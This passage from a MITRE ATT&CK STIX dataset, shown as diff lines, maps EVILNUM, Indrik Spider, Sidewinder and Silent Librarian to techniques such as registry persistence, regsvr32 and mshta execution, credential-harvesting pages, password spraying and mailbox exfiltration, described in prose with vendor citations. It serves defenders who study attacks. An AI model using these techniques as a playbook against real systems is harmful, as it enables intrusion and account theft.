"source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can achieve persistence through the Registry Run key.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--1ec23e24-e63e-4c35-ad0d-637880ce7bb6", + "type": "relationship", + "modified": "2021-04-27T01:11:46.751Z", + "created": "2021-01-28T17:24:48.765Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + }, + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can download and upload files to the victim's computer.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--b3b6e98e-8d0f-4262-ae61-26c171bf20c6", + "type": "relationship", + "modified": "2021-02-03T19:05:18.014Z", + "created": "2021-01-28T17:24:48.783Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can obtain the computer name from the victim's system.(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--3ff46c64-10c7-474c-86eb-c66f1f85f5ac", + "type": "relationship", + "modified": "2021-04-27T01:11:46.743Z", + "created": "2021-01-28T17:54:03.687Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "external_references": [ + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can run a remote scriptlet that drops a file and executes it via regsvr32.exe.(Citation: ESET EvilNum July 2020) ", + "relationship_type": "uses", + "id": "relationship--dfed3236-eb97-4a56-9325-1fb3d1c12ba4", + "type": "relationship", + "modified": "2021-04-27T01:11:46.736Z", + "created": "2021-01-28T17:54:03.695Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has used the Windows Management Instrumentation (WMI) tool to enumerate infected machines.(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--ed656cf9-64ea-411b-82b8-5260c2694cfd", + "type": "relationship", + "modified": "2021-01-28T17:54:03.709Z", + "created": "2021-01-28T17:54:03.709Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. 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Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has served fake updates via legitimate websites that have been compromised.(Citation: Crowdstrike Indrik November 2018)\t", + "relationship_type": "uses", + "id": "relationship--f7d3d7fc-e25f-4b1f-b7ea-7c19adb300bd", + "type": "relationship", + "modified": "2021-04-20T02:00:43.933Z", + "created": "2021-01-29T17:42:10.181Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--8efc016b-af48-4cfd-a117-142a88b7c9d9", + "type": "relationship", + "modified": "2021-01-29T17:42:10.194Z", + "created": "2021-01-29T17:42:10.194Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--8bdc51e7-d2fd-44fb-bfed-6767b6522405", + "type": "relationship", + "modified": "2021-01-29T17:56:30.456Z", + "created": "2021-01-29T17:56:30.456Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used Group Policy Objects to deploy batch scripts.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--89500cd9-c663-4b3e-bb20-b8fe1860891a", + "type": "relationship", + "modified": "2021-01-29T18:17:07.821Z", + "created": "2021-01-29T18:17:07.821Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + }, + { + "source_name": "Rewterz Sidewinder APT April 2020", + "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", + "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021." + }, + { + "source_name": "Rewterz Sidewinder COVID-19 June 2020", + "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", + "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious files to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)", + "relationship_type": "uses", + "id": "relationship--f1ef0014-9d3d-407a-aa86-8aab6c92edda", + "type": "relationship", + "modified": "2021-04-07T15:19:28.887Z", + "created": "2021-01-29T19:04:19.989Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Rewterz Sidewinder APT April 2020", + "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", + "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021." + }, + { + "source_name": "Rewterz Sidewinder COVID-19 June 2020", + "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", + "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has added paths to executables in the Registry to establish persistence.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)", + "relationship_type": "uses", + "id": "relationship--5d43c968-d9d2-4687-949e-23888376f10c", + "type": "relationship", + "modified": "2021-04-21T12:15:05.296Z", + "created": "2021-01-29T19:04:19.978Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "external_references": [ + { + "source_name": "Rewterz Sidewinder APT April 2020", + "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", + "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021." + }, + { + "source_name": "Rewterz Sidewinder COVID-19 June 2020", + "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", + "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used mshta.exe to execute malicious payloads.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)", + "relationship_type": "uses", + "id": "relationship--0ecbbfa3-6b81-4cf7-9033-373ebbc2832f", + "type": "relationship", + "modified": "2021-04-07T15:19:28.876Z", + "created": "2021-01-29T19:16:42.231Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "external_references": [ + { + "source_name": "Rewterz Sidewinder APT April 2020", + "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", + "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021." + }, + { + "source_name": "Rewterz Sidewinder COVID-19 June 2020", + "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", + "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used the ActiveXObject utility to create OLE objects to obtain execution through Internet Explorer.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)", + "relationship_type": "uses", + "id": "relationship--67583965-9e89-49cd-bdac-9fd69d7857ae", + "type": "relationship", + "modified": "2021-01-29T20:34:08.989Z", + "created": "2021-01-29T19:58:04.356Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "Rewterz Sidewinder APT April 2020", + "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", + "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021." + } + ], + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used the Windows service winmgmts:\\\\.\\root\\SecurityCenter2 to check installed antivirus products.(Citation: Rewterz Sidewinder APT April 2020)", + "relationship_type": "uses", + "id": "relationship--0cf2ae01-9d19-46d7-949e-e6d7a5639a95", + "type": "relationship", + "modified": "2021-01-29T20:02:21.777Z", + "created": "2021-01-29T20:02:21.777Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + }, + { + "source_name": "Phish Labs Silent Librarian", + "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", + "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Proofpoint TA407 September 2019)", + "relationship_type": "uses", + "id": "relationship--33201f98-6367-4f36-a581-98fd4d1203fa", + "type": "relationship", + "modified": "2021-02-04T14:43:12.883Z", + "created": "2021-02-03T16:59:34.743Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + }, + { + "source_name": "Phish Labs Silent Librarian", + "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", + "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS August 2018", + "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", + "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS September 2019", + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021." + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)", + "relationship_type": "uses", + "id": "relationship--44866cfd-7d8f-45f6-906b-5b4992aa69e0", + "type": "relationship", + "modified": "2021-02-04T14:49:40.477Z", + "created": "2021-02-03T16:59:34.737Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + }, + { + "source_name": "Phish Labs Silent Librarian", + "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", + "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS August 2018", + "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", + "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS September 2019", + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021." + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)", + "relationship_type": "uses", + "id": "relationship--b85fdb75-ec29-4bc9-921d-b11ebd8528dc", + "type": "relationship", + "modified": "2021-04-21T02:25:51.044Z", + "created": "2021-02-03T18:13:28.308Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used compromised credentials to obtain unauthorized access to online accounts.(Citation: DOJ Iran Indictments March 2018)", + "relationship_type": "uses", + "id": "relationship--e85549b5-77c8-426a-b7ea-fec30b05973f", + "type": "relationship", + "modified": "2021-04-21T11:59:13.573Z", + "created": "2021-02-03T18:13:28.321Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets.(Citation: DOJ Iran Indictments March 2018)", + "relationship_type": "uses", + "id": "relationship--93edbfc7-c1be-4c2c-aa2c-9b15f53f6528", + "type": "relationship", + "modified": "2021-02-03T18:26:21.959Z", + "created": "2021-02-03T18:19:48.693Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. 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U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected e-mail addresses from targeted organizations from open Internet searches.(Citation: DOJ Iran Indictments March 2018)", + "relationship_type": "uses", + "id": "relationship--87661f05-f448-49be-afa8-d8198a1c0092", + "type": "relationship", + "modified": "2021-04-21T02:25:51.085Z", + "created": "2021-02-03T18:26:21.905Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has set up auto forwarding rules on compromised e-mail accounts.(Citation: DOJ Iran Indictments March 2018)", + "relationship_type": "uses", + "id": "relationship--67f029d5-c44b-446b-9efe-0e0e0d85192a", + "type": "relationship", + "modified": "2021-02-03T18:34:46.363Z", + "created": "2021-02-03T18:34:46.363Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has exfiltrated entire mailboxes from compromised accounts.(Citation: DOJ Iran Indictments March 2018)", + "relationship_type": "uses", + "id": "relationship--406fbbc1-408a-4f59-8f0c-0f670eb60879", + "type": "relationship", + "modified": "2021-04-21T11:55:51.109Z", + "created": "2021-02-03T18:34:46.539Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", + "external_references": [ + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has established e-mail accounts to receive e-mails forwarded from compromised accounts.(Citation: DOJ Iran Indictments March 2018)", + "relationship_type": "uses", + "id": "relationship--83219112-6e5b-43ea-a7a7-78213f28397f", + "type": "relationship", + "modified": "2021-02-03T18:40:49.321Z", + "created": "2021-02-03T18:40:49.321Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has changed the creation date of files.(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--8f8618b7-f197-4869-bb35-3ca58d171be0", + "type": "relationship", + "modified": "2021-02-03T18:49:23.997Z", + "created": "2021-02-03T18:49:23.997Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + 